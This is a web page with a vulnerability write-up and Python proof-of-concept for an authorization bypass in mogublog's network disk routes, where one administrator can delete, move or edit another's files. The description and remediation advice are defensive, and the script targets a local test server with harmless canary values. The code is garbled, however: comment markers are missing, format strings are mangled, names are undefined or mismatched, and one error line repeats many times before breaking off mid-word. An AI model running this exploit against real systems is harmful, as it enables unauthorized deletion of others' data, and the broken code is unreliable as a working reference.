mogublog Network Disk Authorization Bypass Vulnerability and POC

Vulnerability Overview This vulnerability concerns the script within the project, which is used to test access control issues in the network disk feature. Specifically: Vulnerability Description: In the project, network disk routes are accessible to any administrator role (including and ). Vulnerability Location: The and projects. Vulnerability Type: Authorization Bypass. Impact Scope Affected Projects: and . Affected Features: Network disk route operations, including deleting files, batch deleting files, moving files, batch moving files, and editing files. Potential Risk: Unauthorized users may execute sensitive operations through these routes, potentially leading to data leakage or damage. Remediation Recommendations: - Ensure that network disk route operations are only accessible to users with appropriate permissions. - Implement permission verification logic within the route handling to ensure only authorized users can perform related operations. - Log sensitive operations for tracking and auditing purposes. POC Code Below is the complete code for the script: ```python #!/usr/bin/env python3 -- coding: utf-8 -- """ mogublog_v2 - W44: the five mutating /networkDisk routes act on any administrator's rows (cross-administrator IDDM) """ import sys import os import json import uuid import urllib3 import requests urllib3.disable_warnings() Configuration DEFAULT_BASE_URL = "http://127.0.0.1:8080" INVALID_TOKEN_CODE = "00008" INVALID_TOKEN_HINT = "token令牌未识别到" Routes ROUTES = { "deleteFile": ("/networkDisk/deleteFile", "delete"), "batchDeleteFile": ("/networkDisk/batchDeleteFile", "delete"), "moveFile": ("/networkDisk/moveFile", "move"), "batchMoveFile": ("/networkDisk/batchMoveFile", "move"), "edit": ("/networkDisk/edit", "edit"), } Canary keys CANARY_KEYS = { "localDir": "mogublog-poc-nonexistent", "diskDir": "mogublog-poc-nonexistent", "minioDir": "mogublog-poc-nonexistent", } Helpers def list_rows(client, file_path): """ POST /networkDisk/getFileList for one path (no admin_uid filter, :09-12). """ status, parsed, text = client.post_json( "/networkDisk/getFileList", {"fileType": 0, "filePath": file_path}, ) rows = data_of(parsed) return status, rows if isinstance(rows, list) else [] def find_row(client, file_path, name, extend=None): """ Find one row by path + name (optionally extension) in the caller's view. """ _status, rows_text = list_rows(client, file_path) for row in rows: if not isinstance(row, dict) or row.get("fileName") != name: continue if extend is None or (row.get("extendName") or None) == extend: return row return None def canary(payload): """ Add harmless storage keys: nothing on disk or object storage is touched. """ row = dict(payload) row.update(CANARY_KEYS) row.setdefault("status", 1) EStatus.ENABLE (SuperEntity.java:50) row.setdefault("filesize", 1) return row def create_row(client, payload, label): """ POST /networkDisk/createFile (victim session) %s % label, status, text, 300 """ status, body, text = client.post_json("/networkDisk/createFile", payload) print(f"POST /networkDisk/createFile (victim session) %s % label, status, text, 300") return is_success(body) def attack(client, route, payload, label): """ POST %s (caller session) %s % (path, label), status, text, 300 """ path = ROUTES[route][0] status, body, text = client.post_json(path, payload) print(f"POST %s (caller session) %s % (path, label), status, text, 300") return status, body, text def session_uid(client, label): """ GET /storage/getStorage -> the caller's own t_storage row (StorageMgmtApi:89-94). """ status, body, text = client.get("/storage/getStorage") print(f"GET /storage/getStorage (%s) -> own adminUid % label, status, text, 250") if (code_of(body) == INVALID_TOKEN_CODE or INVALID_TOKEN_CODE in (text or "")): raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkLogin()") raise MoguError("the %s was rejected by RequestHolder.checkL

Goal Reached Thanks to every supporter — we hit 100%!

mogublog Network Disk Authorization Bypass Vulnerability and POC

More from this source